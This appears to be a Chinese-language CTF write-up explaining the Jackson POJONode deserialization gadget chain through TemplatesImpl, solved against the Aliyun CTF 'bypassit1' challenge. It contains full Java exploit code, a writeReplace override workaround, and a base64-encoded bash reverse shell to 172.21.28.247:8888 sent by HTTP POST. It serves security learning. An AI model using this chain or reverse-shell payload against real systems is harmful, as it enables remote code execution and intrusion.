参考文章:https://xz.aliyun.com/t/12509?u_atoken=0f8fa2b10f046b73ed286030e1ee9f9e&u_asig=1a0c381017287414696367848e00f7

前言

Jackson的原生反序列化主要是为了触发任意getter方法调用链子,类似fastjson原生反序列化触发getter那样

getter触发流程

既然要调用任意getter方法,那我们就要触发getter方法的流程

Jackson触发getter是在ObjectMapper#writeValueAsString方法执行的时候

打个断点跟踪一下

image-20241013010248819

这里说几个关键方法

先走到DefaultSerializerProvider#serializeValue方法

image-20241013010627975

这里获取一个序列化器,我们传入了POJO对象,所以返回一个BeanSerializer

然后去到BeanSerializer#serialize方法

image-20241013011008553

writeStartObject和writeEndObject就是分别在首尾写上’{‘和’}’

调用getter方法就在serializeFields方法里面

image-20241013011227152

在serializeAsField方法里面这个地方调用了getter方法

image-20241013011745786

POJONode

前面说的都是序列化的getter,和反序列化有什么关系呢,在Jackson的原生反序列化中,利用的是POJONode的toString方法来触发对应类对象的getter方法,我们先来分析一下

这里测得时候发现离谱的地方,测试出来Jackson应该是在2.10.x才把toString去掉改到父类去的,在2.9.x以及之前,POJONode自己本身是有toString方法的,而他的父类BaseJsonNode反而是没有实现toString的,这样就不能进行利用了

image-20241013125810157

他POJONode本身是没有toString的,是到父类BaseJsonNode才有实现,继承关系如下

POJONode --> ValueNode --> BaseJsonNode

BaseJsonNode#toString

image-20241013014250059

这里调用了一个InternalNodeMapper.nodeToString方法

image-20241013014346177

欸是不是看到了一个熟悉的东西,writeValueAsString,这里也就是触发getter方法的地方,也就是漏洞触发点

所以调用链就是这样的

BaseJsonNode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString

能调用getter方法就可以打链子了,比如打TemplatesImpl

漏洞利用

触发toString自然就选择我们常用的BadAttributeValueExpException了

链子:

BadAttributeValueExpException#readObject -> POJONode#toString -> BaseJsonNode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString

exp

package org.clown.attack;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class attack_usual {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{

//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();


}
}

image-20241013123218942

这是会发现我们在序列化的时候出错了

根据错误先去看ObjectOuptputStream#writeObject0方法

image-20241013123431941

可以看到这里会判断序列化类是否实现了writeReplace方法,实现了则会进行调用,而在BaseJsonNode中实现了该方法,在该方法调用的时候抛出了异常

image-20241013123712324

文章中直接将该方法注释或删去就正常了,我勒个简单粗暴啊😢

这里需要重写一下jar包,之前没写过顺便记录一下

1.找到你所要重写的方法的所在类,查看其中的路径;

2.在我们的src目录下新建一个同包名同类名的类;

3.将jar包中的重写方法所在类的所有代码复制到我们新建的同包名同类名的类中;

4.在我们新建的同包名同类名的类中修改对应的方法中的代码

原理:
编译输出的时候会优先使用我们src下面的类,而不是优先使用Jar包里面的类,这样就达到了覆盖jar包方法的目的

参考文章:https://blog.csdn.net/qq_41512902/article/details/125558275

最后改成这样就行了

image-20241013125145111

再去打一遍exp试试

image-20241013125207733

现在就能正常弹计算器了

题目

这里就那阿里云ctf的一道题来作为例子

题目附件:https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/bypassit1

反编译下jar包

image-20241013131145827

就几行代码,直接读取数据反序列化

看了一下依赖就只有springboot,那肯定是打jackson了,springboot依赖默认用jackson,而且都放到这当例题了

那就可以用前面的exp打一个Jackson原生反序列化,这里还要考虑一个问题就是payload的发送,因为这里没有base64解码直接copy过去会出错,我这里直接用java发请求过去

package org.clown.attack;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;

public class attack_usual {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{

//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjEuMjguMjQ3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

byte[] byteArray = barr.toByteArray();
System.out.println(byteArray);

//发送Post请求
URL url = new URL("http://localhost:8080/bypassit");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.getOutputStream().write(byteArray);
conn.getOutputStream().flush();

// 读取响应
int responseCode = conn.getResponseCode();
System.out.println("Response Code: " + responseCode);

}
}

记得要删除writeReplace方法

反弹shell过来即可

image-20241014003050846

或者直接序列化存入文件,然后用python发请求

import requests
url=""
data=open("ser.bin","rb")
res=requests.post(url,data=data)

其他链子

比如Templates被ban的情况下用SignObject打二次反序列化,可以看这篇文章:https://xz.aliyun.com/t/12966?time__1311=GqGxuD9QLxlr%3DiQGkDRQI23Ezabx&u_atoken=8440f6b703af0eb6335929f9798f602f&u_asig=ac11000117287520205018812e007f#toc-34

还有其余的就在做题时遇到再学吧